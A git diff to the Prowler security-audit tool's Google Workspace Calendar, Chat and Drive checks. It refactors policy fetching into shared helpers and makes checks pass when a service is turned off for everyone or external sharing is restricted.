diff --git a/prowler/providers/googleworkspace/services/calendar/calendar_external_sharing_secondary_calendar/calendar_external_sharing_secondary_calendar.py b/prowler/providers/googleworkspace/services/calendar/calendar_external_sharing_secondary_calendar/calendar_external_sharing_secondary_calendar.py
index 5f53fd2089..7e857f5afc 100644
--- a/prowler/providers/googleworkspace/services/calendar/calendar_external_sharing_secondary_calendar/calendar_external_sharing_secondary_calendar.py
+++ b/prowler/providers/googleworkspace/services/calendar/calendar_external_sharing_secondary_calendar/calendar_external_sharing_secondary_calendar.py
@@ -28,7 +28,13 @@ class calendar_external_sharing_secondary_calendar(Check):
sharing = calendar_client.policies.secondary_calendar_external_sharing
- if sharing == "EXTERNAL_FREE_BUSY_ONLY":
+ if calendar_client.policies.off_for_everyone:
+ report.status = "PASS"
+ report.status_extended = (
+ f"Google Calendar is turned off for everyone in domain "
+ f"{calendar_client.provider.identity.domain}, so no calendar can be shared outside the organization."
+ )
+ elif sharing == "EXTERNAL_FREE_BUSY_ONLY":
report.status = "PASS"
report.status_extended = (
f"Secondary calendar external sharing in domain "
diff --git a/prowler/providers/googleworkspace/services/calendar/calendar_service.py b/prowler/providers/googleworkspace/services/calendar/calendar_service.py
index aa822d4218..a8d75d86ea 100644
--- a/prowler/providers/googleworkspace/services/calendar/calendar_service.py
+++ b/prowler/providers/googleworkspace/services/calendar/calendar_service.py
@@ -1,9 +1,10 @@
from typing import Optional
-from pydantic import BaseModel
-
from prowler.lib.logger import logger
-from prowler.providers.googleworkspace.lib.service.service import GoogleWorkspaceService
+from prowler.providers.googleworkspace.lib.service.service import (
+ GoogleWorkspaceService,
+ ServicePolicies,
+)
class Calendar(GoogleWorkspaceService):
@@ -30,66 +31,21 @@ class Calendar(GoogleWorkspaceService):
logger.error("Failed to build Cloud Identity service")
return
- request = service.policies().list(
- pageSize=100,
- filter='setting.type.matches("calendar.*")',
+ policies, fetch_succeeded = self._list_policies(
+ service,
+ 'setting.type.matches("calendar.*")',
+ "fetching calendar policies",
)
- fetch_succeeded = True
- while request is not None:
- try:
- response = request.execute()
+ (
+ self.policies.service_state,
+ self.policies.service_state_overridden,
+ ) = self._service_status(policies, "calendar.service_status")
- for policy in response.get("policies", []):
- if not self._is_customer_level_policy(policy):
- continue
- setting = policy.get("setting", {})
- setting_type = setting.get("type", "").removeprefix("settings/")
- value = setting.get("value", {})
-
- if (
- setting_type
- == "calendar.primary_calendar_max_allowed_external_sharing"
- ):
- self.policies.primary_calendar_external_sharing = value.get(
- "maxAllowedExternalSharing"
- )
- logger.debug(
- "Primary calendar external sharing: "
- f"{self.policies.primary_calendar_external_sharing}"
- )
-
- elif (
- setting_type
- == "calendar.secondary_calendar_max_allowed_external_sharing"
- ):
- self.policies.secondary_calendar_external_sharing = (
- value.get("maxAllowedExternalSharing")
- )
- logger.debug(
- "Secondary calendar external sharing: "
- f"{self.policies.secondary_calendar_external_sharing}"
- )
-
- elif setting_type == "calendar.external_invitations":
- self.policies.external_invitations_warning = value.get(
- "warnOnInvite"
- )
- logger.debug(
- "External invitations warning: "
- f"{self.policies.external_invitations_warning}"
- )
-
- request = service.policies().list_next(request, response)
-
- except Exception as error:
- self._handle_api_error(
- error,
- "fetching calendar policies",
- self.provider.identity.customer_id,
- )
- fetch_succeeded = False
- break
+ for policy in self._effective_policies(policies):
+ setting = policy.get("setting", {})
+ setting_type = setting.get("type", "").removeprefix("settings/")
+ self._process_setting(setting_type, setting.get("value", {}))
self.policies_fetched = fetch_succeeded
@@ -108,8 +64,35 @@ class Calendar(GoogleWorkspaceService):
)
self.policies_fetched = False
+ def _process_setting(self, setting_type: str, value: dict):
+ """Populate the model from a single policy setting."""
+ if setting_type == "calendar.primary_calendar_max_allowed_external_sharing":
+ self.policies.primary_calendar_external_sharing = value.get(
+ "maxAllowedExternalSharing"
+ )
+ logger.debug(
+ "Primary calendar external sharing: "
+ f"{self.policies.primary_calendar_external_sharing}"
+ )
-class CalendarPolicies(BaseModel):
+ elif setting_type == "calendar.secondary_calendar_max_allowed_external_sharing":
+ self.policies.secondary_calendar_external_sharing = value.get(
+ "maxAllowedExternalSharing"
+ )
+ logger.debug(
+ "Secondary calendar external sharing: "
+ f"{self.policies.secondary_calendar_external_sharing}"
+ )
+
+ elif setting_type == "calendar.external_invitations":
+ self.policies.external_invitations_warning = value.get("warnOnInvite")
+ logger.debug(
+ "External invitations warning: "
+ f"{self.policies.external_invitations_warning}"
+ )
+
+
+class CalendarPolicies(ServicePolicies):
"""Model for domain-level Calendar policy settings."""
primary_calendar_external_sharing: Optional[str] = None
diff --git a/prowler/providers/googleworkspace/services/chat/chat_apps_installation_disabled/chat_apps_installation_disabled.metadata.json b/prowler/providers/googleworkspace/services/chat/chat_apps_installation_disabled/chat_apps_installation_disabled.metadata.json
index 070de032e1..9b816cee15 100644
--- a/prowler/providers/googleworkspace/services/chat/chat_apps_installation_disabled/chat_apps_installation_disabled.metadata.json
+++ b/prowler/providers/googleworkspace/services/chat/chat_apps_installation_disabled/chat_apps_installation_disabled.metadata.json
@@ -35,5 +35,5 @@
"RelatedTo": [
"chat_incoming_webhooks_disabled"
],
- "Notes": ""
+ "Notes": "When Google Chat is turned off for everyone, the check passes: the setting has no effect while the service is off."
}
diff --git a/prowler/providers/googleworkspace/services/chat/chat_apps_installation_disabled/chat_apps_installation_disabled.py b/prowler/providers/googleworkspace/services/chat/chat_apps_installation_disabled/chat_apps_installation_disabled.py
index c80be7e6dc..16246e1d87 100644
--- a/prowler/providers/googleworkspace/services/chat/chat_apps_installation_disabled/chat_apps_installation_disabled.py
+++ b/prowler/providers/googleworkspace/services/chat/chat_apps_installation_disabled/chat_apps_installation_disabled.py
@@ -26,7 +26,13 @@ class chat_apps_installation_disabled(Check):
apps_enabled = chat_client.policies.enable_apps
- if apps_enabled is False:
+ if chat_client.policies.off_for_everyone:
+ report.status = "PASS"
+ report.status_extended = (
+ f"Google Chat is turned off for everyone in domain "
+ f"{chat_client.provider.identity.domain}, so Chat apps cannot be installed."
+ )
+ elif apps_enabled is False:
report.status = "PASS"
report.status_extended = (
f"Chat apps installation is disabled "
diff --git a/prowler/providers/googleworkspace/services/chat/chat_external_file_sharing_disabled/chat_external_file_sharing_disabled.metadata.json b/prowler/providers/googleworkspace/services/chat/chat_external_file_sharing_disabled/chat_external_file_sharing_disabled.metadata.json
index adc1b1fc5f..e8811ffbc1 100644
--- a/prowler/providers/googleworkspace/services/chat/chat_external_file_sharing_disabled/chat_external_file_sharing_disabled.metadata.json
+++ b/prowler/providers/googleworkspace/services/chat/chat_external_file_sharing_disabled/chat_external_file_sharing_disabled.metadata.json
@@ -36,5 +36,5 @@
"chat_internal_file_sharing_disabled",
"drive_sharing_allowlisted_domains"
],
- "Notes": ""
+ "Notes": "When Google Chat is turned off for everyone, the check passes: the setting has no effect while the service is off."
}
diff --git a/prowler/providers/googleworkspace/services/chat/chat_external_file_sharing_disabled/chat_external_file_sharing_disabled.py b/prowler/providers/googleworkspace/services/chat/chat_external_file_sharing_disabled/chat_external_file_sharing_disabled.py
index 7c17b314e2..68a6a060df 100644
--- a/prowler/providers/googleworkspace/services/chat/chat_external_file_sharing_disabled/chat_external_file_sharing_disabled.py
+++ b/prowler/providers/googleworkspace/services/chat/chat_external_file_sharing_disabled/chat_external_file_sharing_disabled.py
@@ -26,7 +26,13 @@ class chat_external_file_sharing_disabled(Check):
external_sharing = chat_client.policies.external_file_sharing
- if external_sharing == "NO_FILES":
+ if chat_client.policies.off_for_everyone:
+ report.status = "PASS"
+ report.status_extended = (
+ f"Google Chat is turned off for everyone in domain "
+ f"{chat_client.provider.identity.domain}, so no files can be shared externally through Chat."
+ )
+ elif external_sharing == "NO_FILES":
report.status = "PASS"
report.status_extended = (
f"External file sharing in Chat is disabled "
diff --git a/prowler/providers/googleworkspace/services/chat/chat_external_messaging_restricted/chat_external_messaging_restricted.metadata.json b/prowler/providers/googleworkspace/services/chat/chat_external_messaging_restricted/chat_external_messaging_restricted.metadata.json
index 34b0016065..354ec81993 100644
--- a/prowler/providers/googleworkspace/services/chat/chat_external_messaging_restricted/chat_external_messaging_restricted.metadata.json
+++ b/prowler/providers/googleworkspace/services/chat/chat_external_messaging_restricted/chat_external_messaging_restricted.metadata.json
@@ -36,5 +36,5 @@
"chat_external_spaces_restricted",
"drive_sharing_allowlisted_domains"
],
- "Notes": ""
+ "Notes": "When Google Chat is turned off for everyone, the check passes: the setting has no effect while the service is off."
}
diff --git a/prowler/providers/googleworkspace/services/chat/chat_external_messaging_restricted/chat_external_messaging_restricted.py b/prowler/providers/googleworkspace/services/chat/chat_external_messaging_restricted/chat_external_messaging_restricted.py
index aef75403b9..a9836cbb82 100644
--- a/prowler/providers/googleworkspace/services/chat/chat_external_messaging_restricted/chat_external_messaging_restricted.py
+++ b/prowler/providers/googleworkspace/services/chat/chat_external_messaging_restricted/chat_external_messaging_restricted.py
@@ -27,7 +27,13 @@ class chat_external_messaging_restricted(Check):
allow_external = chat_client.policies.allow_external_chat
restriction = chat_client.policies.external_chat_restriction
- if allow_external is False:
+ if chat_client.policies.off_for_everyone:
+ report.status = "PASS"
+ report.status_extended = (
+ f"Google Chat is turned off for everyone in domain "
+ f"{chat_client.provider.identity.domain}, so no external messaging can take place."
+ )
+ elif allow_external is False:
report.status = "PASS"
report.status_extended = (
f"External Chat messaging is disabled "
diff --git a/prowler/providers/googleworkspace/services/chat/chat_external_spaces_restricted/chat_external_spaces_restricted.metadata.json b/prowler/providers/googleworkspace/services/chat/chat_external_spaces_restricted/chat_external_spaces_restricted.metadata.json
index 1385f34ef8..cdf2820401 100644
--- a/prowler/providers/googleworkspace/services/chat/chat_external_spaces_restricted/chat_external_spaces_restricted.metadata.json
+++ b/prowler/providers/googleworkspace/services/chat/chat_external_spaces_restricted/chat_external_spaces_restricted.metadata.json
@@ -36,5 +36,5 @@
"chat_external_messaging_restricted",
"drive_sharing_allowlisted_domains"
],
- "Notes": ""
+ "Notes": "When Google Chat is turned off for everyone, the check passes: the setting has no effect while the service is off."
}
diff --git a/prowler/providers/googleworkspace/services/chat/chat_external_spaces_restricted/chat_external_spaces_restricted.py b/prowler/providers/googleworkspace/services/chat/chat_external_spaces_restricted/chat_external_spaces_restricted.py
index d6ad421bda..66bc2f6a32 100644
--- a/prowler/providers/googleworkspace/services/chat/chat_external_spaces_restricted/chat_external_spaces_restricted.py
+++ b/prowler/providers/googleworkspace/services/chat/chat_external_spaces_restricted/chat_external_spaces_restricted.py
@@ -27,7 +27,13 @@ class chat_external_spaces_restricted(Check):
spaces_enabled = chat_client.policies.external_spaces_enabled
allowlist_mode = chat_client.policies.external_spaces_domain_allowlist_mode
- if spaces_enabled is False:
+ if chat_client.policies.off_for_everyone:
+ report.status = "PASS"
+ report.status_extended = (
+ f"Google Chat is turned off for everyone in domain "
+ f"{chat_client.provider.identity.domain}, so no external spaces can be created or joined."
+ )
+ elif spaces_enabled is False:
report.status = "PASS"
report.status_extended = (
f"External spaces are disabled "
diff --git a/prowler/providers/googleworkspace/services/chat/chat_incoming_webhooks_disabled/chat_incoming_webhooks_disabled.metadata.json b/prowler/providers/googleworkspace/services/chat/chat_incoming_webhooks_disabled/chat_incoming_webhooks_disabled.metadata.json
index 8e8f4b6301..087eea82e1 100644
--- a/prowler/providers/googleworkspace/services/chat/chat_incoming_webhooks_disabled/chat_incoming_webhooks_disabled.metadata.json
+++ b/prowler/providers/googleworkspace/services/chat/chat_incoming_webhooks_disabled/chat_incoming_webhooks_disabled.metadata.json
@@ -35,5 +35,5 @@
"RelatedTo": [
"chat_apps_installation_disabled"
],
- "Notes": ""
+ "Notes": "When Google Chat is turned off for everyone, the check passes: the setting has no effect while the service is off."
}
diff --git a/prowler/providers/googleworkspace/services/chat/chat_incoming_webhooks_disabled/chat_incoming_webhooks_disabled.py b/prowler/providers/googleworkspace/services/chat/chat_incoming_webhooks_disabled/chat_incoming_webhooks_disabled.py
index 753daf02da..e04cb2be9c 100644
--- a/prowler/providers/googleworkspace/services/chat/chat_incoming_webhooks_disabled/chat_incoming_webhooks_disabled.py
+++ b/prowler/providers/googleworkspace/services/chat/chat_incoming_webhooks_disabled/chat_incoming_webhooks_disabled.py
@@ -26,7 +26,13 @@ class chat_incoming_webhooks_disabled(Check):
webhooks_enabled = chat_client.policies.enable_webhooks
- if webhooks_enabled is False:
+ if chat_client.policies.off_for_everyone:
+ report.status = "PASS"
+ report.status_extended = (
+ f"Google Chat is turned off for everyone in domain "
+ f"{chat_client.provider.identity.domain}, so incoming webhooks cannot be used."
+ )
+ elif webhooks_enabled is False:
report.status = "PASS"
report.status_extended = (
f"Incoming webhooks are disabled "
diff --git a/prowler/providers/googleworkspace/services/chat/chat_internal_file_sharing_disabled/chat_internal_file_sharing_disabled.metadata.json b/prowler/providers/googleworkspace/services/chat/chat_internal_file_sharing_disabled/chat_internal_file_sharing_disabled.metadata.json
index b41f662cc3..b6969633be 100644
--- a/prowler/providers/googleworkspace/services/chat/chat_internal_file_sharing_disabled/chat_internal_file_sharing_disabled.metadata.json
+++ b/prowler/providers/googleworkspace/services/chat/chat_internal_file_sharing_disabled/chat_internal_file_sharing_disabled.metadata.json
@@ -35,5 +35,5 @@
"RelatedTo": [
"chat_external_file_sharing_disabled"
],
- "Notes": ""
+ "Notes": "When Google Chat is turned off for everyone, the check passes: the setting has no effect while the service is off."
}
diff --git a/prowler/providers/googleworkspace/services/chat/chat_internal_file_sharing_disabled/chat_internal_file_sharing_disabled.py b/prowler/providers/googleworkspace/services/chat/chat_internal_file_sharing_disabled/chat_internal_file_sharing_disabled.py
index 614750ecda..6eb8e5e9a0 100644
--- a/prowler/providers/googleworkspace/services/chat/chat_internal_file_sharing_disabled/chat_internal_file_sharing_disabled.py
+++ b/prowler/providers/googleworkspace/services/chat/chat_internal_file_sharing_disabled/chat_internal_file_sharing_disabled.py
@@ -26,7 +26,13 @@ class chat_internal_file_sharing_disabled(Check):
internal_sharing = chat_client.policies.internal_file_sharing
- if internal_sharing == "NO_FILES":
+ if chat_client.policies.off_for_everyone:
+ report.status = "PASS"
+ report.status_extended = (
+ f"Google Chat is turned off for everyone in domain "
+ f"{chat_client.provider.identity.domain}, so no files can be shared through Chat."
+ )
+ elif internal_sharing == "NO_FILES":
report.status = "PASS"
report.status_extended = (
f"Internal file sharing in Chat is disabled "
diff --git a/prowler/providers/googleworkspace/services/chat/chat_service.py b/prowler/providers/googleworkspace/services/chat/chat_service.py
index 92d4d77dfa..1ff6752253 100644
--- a/prowler/providers/googleworkspace/services/chat/chat_service.py
+++ b/prowler/providers/googleworkspace/services/chat/chat_service.py
@@ -1,9 +1,10 @@
from typing import Optional
-from pydantic import BaseModel
-
from prowler.lib.logger import logger
-from prowler.providers.googleworkspace.lib.service.service import GoogleWorkspaceService
+from prowler.providers.googleworkspace.lib.service.service import (
+ GoogleWorkspaceService,
+ ServicePolicies,
+)
class Chat(GoogleWorkspaceService):
@@ -30,68 +31,21 @@ class Chat(GoogleWorkspaceService):
logger.error("Failed to build Cloud Identity service")
return
- request = service.policies().list(
- pageSize=100,
- filter='setting.type.matches("chat.*")',
+ policies, fetch_succeeded = self._list_policies(
+ service,
+ 'setting.type.matches("chat.*")',
+ "fetching Chat policies",
)
- fetch_succeeded = True
- while request is not None:
- try:
- response = request.execute()
+ (
+ self.policies.service_state,
+ self.policies.service_state_overridden,
+ ) = self._service_status(policies, "chat.service_status")
- for policy in response.get("policies", []):
- if not self._is_customer_level_policy(policy):
- continue
-
- setting = policy.get("setting", {})
- setting_type = setting.get("type", "").removeprefix("settings/")
- logger.debug(f"Processing setting type: {setting_type}")
-
- value = setting.get("value", {})
-
- if setting_type == "chat.chat_file_sharing":
- self.policies.external_file_sharing = value.get(
- "externalFileSharing"
- )
- self.policies.internal_file_sharing = value.get(
- "internalFileSharing"
- )
- logger.debug("Chat file sharing settings fetched.")
-
- elif setting_type == "chat.external_chat_restriction":
- self.policies.allow_external_chat = value.get(
- "allowExternalChat"
- )
- self.policies.external_chat_restriction = value.get(
- "externalChatRestriction"
- )
- logger.debug(
- "Chat external chat restriction settings fetched."
- )
-
- elif setting_type == "chat.chat_external_spaces":
- self.policies.external_spaces_enabled = value.get("enabled")
- self.policies.external_spaces_domain_allowlist_mode = (
- value.get("domainAllowlistMode")
- )
- logger.debug("Chat external spaces settings fetched.")
-
- elif setting_type == "chat.chat_apps_access":
- self.policies.enable_apps = value.get("enableApps")
- self.policies.enable_webhooks = value.get("enableWebhooks")
- logger.debug("Chat apps access settings fetched.")
-
- request = service.policies().list_next(request, response)
-
- except Exception as error:
- self._handle_api_error(
- error,
- "fetching Chat policies",
- self.provider.identity.customer_id,
- )
- fetch_succeeded = False
- break
+ for policy in self._effective_policies(policies):
+ setting = policy.get("setting", {})
+ setting_type = setting.get("type", "").removeprefix("settings/")
+ self._process_setting(setting_type, setting.get("value", {}))
self.policies_fetched = fetch_succeeded
logger.info("Chat policies fetched successfully.")
@@ -104,8 +58,36 @@ class Chat(GoogleWorkspaceService):
)
self.policies_fetched = False
+ def _process_setting(self, setting_type: str, value: dict):
+ """Populate the model from a single policy setting."""
+ logger.debug(f"Processing setting type: {setting_type}")
-class ChatPolicies(BaseModel):
+ if setting_type == "chat.chat_file_sharing":
+ self.policies.external_file_sharing = value.get("externalFileSharing")
+ self.policies.internal_file_sharing = value.get("internalFileSharing")
+ logger.debug("Chat file sharing settings fetched.")
+
+ elif setting_type == "chat.external_chat_restriction":
+ self.policies.allow_external_chat = value.get("allowExternalChat")
+ self.policies.external_chat_restriction = value.get(
+ "externalChatRestriction"
+ )
+ logger.debug("Chat external chat restriction settings fetched.")
+
+ elif setting_type == "chat.chat_external_spaces":
+ self.policies.external_spaces_enabled = value.get("enabled")
+ self.policies.external_spaces_domain_allowlist_mode = value.get(
+ "domainAllowlistMode"
+ )
+ logger.debug("Chat external spaces settings fetched.")
+
+ elif setting_type == "chat.chat_apps_access":
+ self.policies.enable_apps = value.get("enableApps")
+ self.policies.enable_webhooks = value.get("enableWebhooks")
+ logger.debug("Chat apps access settings fetched.")
+
+
+class ChatPolicies(ServicePolicies):
"""Model for domain-level Chat policy settings."""
# chat.chat_file_sharing
diff --git a/prowler/providers/googleworkspace/services/drive/drive_access_checker_recipients_only/drive_access_checker_recipients_only.metadata.json b/prowler/providers/googleworkspace/services/drive/drive_access_checker_recipients_only/drive_access_checker_recipients_only.metadata.json
index 8f1c14510a..4ace882579 100644
--- a/prowler/providers/googleworkspace/services/drive/drive_access_checker_recipients_only/drive_access_checker_recipients_only.metadata.json
+++ b/prowler/providers/googleworkspace/services/drive/drive_access_checker_recipients_only/drive_access_checker_recipients_only.metadata.json
@@ -36,5 +36,5 @@
"drive_external_sharing_warn_users",
"drive_publishing_files_disabled"
],
- "Notes": ""
+ "Notes": "When Google Drive is turned off for everyone, the check passes: the setting has no effect while the service is off."
}
diff --git a/prowler/providers/googleworkspace/services/drive/drive_access_checker_recipients_only/drive_access_checker_recipients_only.py b/prowler/providers/googleworkspace/services/drive/drive_access_checker_recipients_only/drive_access_checker_recipients_only.py
index 435e9c0f7d..6be92a92b0 100644
--- a/prowler/providers/googleworkspace/services/drive/drive_access_checker_recipients_only/drive_access_checker_recipients_only.py
+++ b/prowler/providers/googleworkspace/services/drive/drive_access_checker_recipients_only/drive_access_checker_recipients_only.py
@@ -27,7 +27,13 @@ class drive_access_checker_recipients_only(Check):
access_checker = drive_client.policies.access_checker_suggestions
- if access_checker == "RECIPIENTS_ONLY":
+ if drive_client.policies.off_for_everyone:
+ report.status = "PASS"
+ report.status_extended = (
+ f"Google Drive is turned off for everyone in domain "
+ f"{drive_client.provider.identity.domain}, so Access Checker cannot widen any share."
+ )
+ elif access_checker == "RECIPIENTS_ONLY":
report.status = "PASS"
report.status_extended = (
f"Drive and Docs Access Checker in domain "
diff --git a/prowler/providers/googleworkspace/services/drive/drive_desktop_access_disabled/drive_desktop_access_disabled.metadata.json b/prowler/providers/googleworkspace/services/drive/drive_desktop_access_disabled/drive_desktop_access_disabled.metadata.json
index 576f78b19f..c7ff698f73 100644
--- a/prowler/providers/googleworkspace/services/drive/drive_desktop_access_disabled/drive_desktop_access_disabled.metadata.json
+++ b/prowler/providers/googleworkspace/services/drive/drive_desktop_access_disabled/drive_desktop_access_disabled.metadata.json
@@ -20,7 +20,7 @@
"Code": {
"CLI": "",
"NativeIaC": "",
- "Other": "1. Sign in to the Google **Admin console** at https://admin.google.com\n2. Navigate to **Apps** > **Google Workspace** > **Drive and Docs**\n3. Click **Features and Applications** > **Google Drive for desktop**\n4. **Uncheck** *Allow Google Drive for desktop in your organization*\n5. Click **Save**",
+ "Other": "1. Sign in to the Google **Admin console** at https://admin.google.com\n2. Navigate to **Apps** > **Google Workspace** > **Drive and Docs**\n3. Open the **Google Drive for desktop** card (its own section on the Drive and Docs settings page, below Features and Applications)\n4. **Uncheck** *Allow Google Drive for desktop in your organization*\n5. Click **Save**",
"Terraform": ""
},
"Recommendation": {
@@ -31,5 +31,5 @@
"Categories": [],
"DependsOn": [],
"RelatedTo": [],
- "Notes": ""
+ "Notes": "When Google Drive is turned off for everyone, the check passes: the setting has no effect while the service is off."
}
diff --git a/prowler/providers/googleworkspace/services/drive/drive_desktop_access_disabled/drive_desktop_access_disabled.py b/prowler/providers/googleworkspace/services/drive/drive_desktop_access_disabled/drive_desktop_access_disabled.py
index 189694adaf..c13d3a49e6 100644
--- a/prowler/providers/googleworkspace/services/drive/drive_desktop_access_disabled/drive_desktop_access_disabled.py
+++ b/prowler/providers/googleworkspace/services/drive/drive_desktop_access_disabled/drive_desktop_access_disabled.py
@@ -28,7 +28,13 @@ class drive_desktop_access_disabled(Check):
allow_desktop = drive_client.policies.allow_drive_for_desktop
- if allow_desktop is False:
+ if drive_client.policies.off_for_everyone:
+ report.status = "PASS"
+ report.status_extended = (
+ f"Google Drive is turned off for everyone in domain "
+ f"{drive_client.provider.identity.domain}, so Drive for desktop cannot sync any content."
+ )
+ elif allow_desktop is False:
report.status = "PASS"
report.status_extended = (
f"Google Drive for desktop is disabled in domain "
diff --git a/prowler/providers/googleworkspace/services/drive/drive_publishing_files_disabled/drive_publishing_files_disabled.metadata.json b/prowler/providers/googleworkspace/services/drive/drive_publishing_files_disabled/drive_publishing_files_disabled.metadata.json
index 323d7f07a1..7d549895bb 100644
--- a/prowler/providers/googleworkspace/services/drive/drive_publishing_files_disabled/drive_publishing_files_disabled.metadata.json
+++ b/prowler/providers/googleworkspace/services/drive/drive_publishing_files_disabled/drive_publishing_files_disabled.metadata.json
@@ -37,5 +37,5 @@
"drive_sharing_allowlisted_domains",
"drive_internal_users_distribute_content"
],
- "Notes": ""
+ "Notes": "The publishing option only applies when sharing outside of the organization is ON. With Allowlisted domains or OFF, Google hides it and nothing can be made visible to anyone with the link, so the check passes regardless of the stored flag."
}
diff --git a/prowler/providers/googleworkspace/services/drive/drive_publishing_files_disabled/drive_publishing_files_disabled.py b/prowler/providers/googleworkspace/services/drive/drive_publishing_files_disabled/drive_publishing_files_disabled.py
index 397f1eee68..4bc2c5be05 100644
--- a/prowler/providers/googleworkspace/services/drive/drive_publishing_files_disabled/drive_publishing_files_disabled.py
+++ b/prowler/providers/googleworkspace/services/drive/drive_publishing_files_disabled/drive_publishing_files_disabled.py
@@ -10,7 +10,10 @@ class drive_publishing_files_disabled(Check):
This check verifies that the domain-level Drive and Docs policy prevents
users from publishing files to the web or making them visible to anyone
with the link, blocking unintended public exposure of organizational
- content.
+ content. The publishing option only exists when sharing outside of the
+ organization is ON: with allowlisted domains or sharing OFF, Google hides
+ it and nothing can be made visible to anyone with the link, whatever
+ value the API still stores for the flag.
"""
def execute(self) -> List[CheckReportGoogleWorkspace]:
@@ -26,8 +29,23 @@ class drive_publishing_files_disabled(Check):
)
allow_publishing = drive_client.policies.allow_publishing_files
+ sharing_mode = drive_client.policies.external_sharing_mode
- if allow_publishing is False:
+ if sharing_mode == "ALLOWLISTED_DOMAINS":
+ report.status = "PASS"
+ report.status_extended = (
+ f"Publishing files to the web is not possible in domain "
+ f"{drive_client.provider.identity.domain}: sharing outside of "
+ f"the organization is limited to allowlisted domains."
+ )
+ elif sharing_mode == "DISALLOWED":
+ report.status = "PASS"
+ report.status_extended = (
+ f"Publishing files to the web is not possible in domain "
+ f"{drive_client.provider.identity.domain}: sharing outside of "
+ f"the organization is off."
+ )
+ elif allow_publishing is False:
report.status = "PASS"
report.status_extended = (
f"Publishing files to the web is disabled in domain "
diff --git a/prowler/providers/googleworkspace/services/drive/drive_service.py b/prowler/providers/googleworkspace/services/drive/drive_service.py
index 68c4b48453..4bcebf0857 100644
--- a/prowler/providers/googleworkspace/services/drive/drive_service.py
+++ b/prowler/providers/googleworkspace/services/drive/drive_service.py
@@ -1,9 +1,10 @@
from typing import Optional
-from pydantic import BaseModel
-
from prowler.lib.logger import logger
-from prowler.providers.googleworkspace.lib.service.service import GoogleWorkspaceService
+from prowler.providers.googleworkspace.lib.service.service import (
+ GoogleWorkspaceService,
+ ServicePolicies,
+)
class Drive(GoogleWorkspaceService):
@@ -31,88 +32,21 @@ class Drive(GoogleWorkspaceService):
logger.error("Failed to build Cloud Identity service")
return
- request = service.policies().list(
- pageSize=100,
- filter='setting.type.matches("drive_and_docs.*")',
+ policies, fetch_succeeded = self._list_policies(
+ service,
+ 'setting.type.matches("drive_and_docs.*")',
+ "fetching Drive and Docs policies",
)
- fetch_succeeded = True
- while request is not None:
- try:
- response = request.execute()
+ (
+ self.policies.service_state,
+ self.policies.service_state_overridden,
+ ) = self._service_status(policies, "drive_and_docs.service_status")
- for policy in response.get("policies", []):
- if not self._is_customer_level_policy(policy):
- continue
-
- setting = policy.get("setting", {})
- setting_type = setting.get("type", "").removeprefix("settings/")
- value = setting.get("value", {})
-
- if setting_type == "drive_and_docs.external_sharing":
- self.policies.external_sharing_mode = value.get(
- "externalSharingMode"
- )
- self.policies.warn_for_external_sharing = value.get(
- "warnForExternalSharing"
- )
- self.policies.warn_for_sharing_outside_allowlisted_domains = value.get(
- "warnForSharingOutsideAllowlistedDomains"
- )
- self.policies.allow_publishing_files = value.get(
- "allowPublishingFiles"
- )
- self.policies.access_checker_suggestions = value.get(
- "accessCheckerSuggestions"
- )
- self.policies.allowed_parties_for_distributing_content = (
- value.get("allowedPartiesForDistributingContent")
- )
- logger.debug(
- "Drive external sharing settings fetched: "
- f"mode={self.policies.external_sharing_mode}, "
- f"warn={self.policies.warn_for_external_sharing}, "
- f"publish={self.policies.allow_publishing_files}"
- )
-
- elif setting_type == "drive_and_docs.shared_drive_creation":
- self.policies.allow_shared_drive_creation = value.get(
- "allowSharedDriveCreation"
- )
- self.policies.allow_managers_to_override_settings = (
- value.get("allowManagersToOverrideSettings")
- )
- self.policies.allow_non_member_access = value.get(
- "allowNonMemberAccess"
- )
- self.policies.allowed_parties_for_download_print_copy = (
- value.get("allowedPartiesForDownloadPrintCopy")
- )
- logger.debug(
- "Drive shared drive creation settings fetched: "
- f"creation={self.policies.allow_shared_drive_creation}, "
- f"managers_override={self.policies.allow_managers_to_override_settings}"
- )
-
- elif setting_type == "drive_and_docs.drive_for_desktop":
- self.policies.allow_drive_for_desktop = value.get(
- "allowDriveForDesktop"
- )
- logger.debug(
- "Drive for desktop setting fetched: "
- f"{self.policies.allow_drive_for_desktop}"
- )
-
- request = service.policies().list_next(request, response)
-
- except Exception as error:
- self._handle_api_error(
- error,
- "fetching Drive and Docs policies",
- self.provider.identity.customer_id,
- )
- fetch_succeeded = False
- break
+ for policy in self._effective_policies(policies):
+ setting = policy.get("setting", {})
+ setting_type = setting.get("type", "").removeprefix("settings/")
+ self._process_setting(setting_type, setting.get("value", {}))
self.policies_fetched = fetch_succeeded
@@ -131,8 +65,56 @@ class Drive(GoogleWorkspaceService):
)
self.policies_fetched = False
+ def _process_setting(self, setting_type: str, value: dict):
+ """Populate the model from a single policy setting."""
+ if setting_type == "drive_and_docs.external_sharing":
+ self.policies.external_sharing_mode = value.get("externalSharingMode")
+ self.policies.warn_for_external_sharing = value.get(
+ "warnForExternalSharing"
+ )
+ self.policies.warn_for_sharing_outside_allowlisted_domains = value.get(
+ "warnForSharingOutsideAllowlistedDomains"
+ )
+ self.policies.allow_publishing_files = value.get("allowPublishingFiles")
+ self.policies.access_checker_suggestions = value.get(
+ "accessCheckerSuggestions"
+ )
+ self.policies.allowed_parties_for_distributing_content = value.get(
+ "allowedPartiesForDistributingContent"
+ )
+ logger.debug(
+ "Drive external sharing settings fetched: "
+ f"mode={self.policies.external_sharing_mode}, "
+ f"warn={self.policies.warn_for_external_sharing}, "
+ f"publish={self.policies.allow_publishing_files}"
+ )
-class DrivePolicies(BaseModel):
+ elif setting_type == "drive_and_docs.shared_drive_creation":
+ self.policies.allow_shared_drive_creation = value.get(
+ "allowSharedDriveCreation"
+ )
+ self.policies.allow_managers_to_override_settings = value.get(
+ "allowManagersToOverrideSettings"
+ )
+ self.policies.allow_non_member_access = value.get("allowNonMemberAccess")
+ self.policies.allowed_parties_for_download_print_copy = value.get(
+ "allowedPartiesForDownloadPrintCopy"
+ )
+ logger.debug(
+ "Drive shared drive creation settings fetched: "
+ f"creation={self.policies.allow_shared_drive_creation}, "
+ f"managers_override={self.policies.allow_managers_to_override_settings}"
+ )
+
+ elif setting_type == "drive_and_docs.drive_for_desktop":
+ self.policies.allow_drive_for_desktop = value.get("allowDriveForDesktop")
+ logger.debug(
+ "Drive for desktop setting fetched: "
+ f"{self.policies.allow_drive_for_desktop}"
+ )
+
+
+class DrivePolicies(ServicePolicies):
"""Model for domain-level Drive and Docs policy settings."""
# drive_and_docs.external_sharing
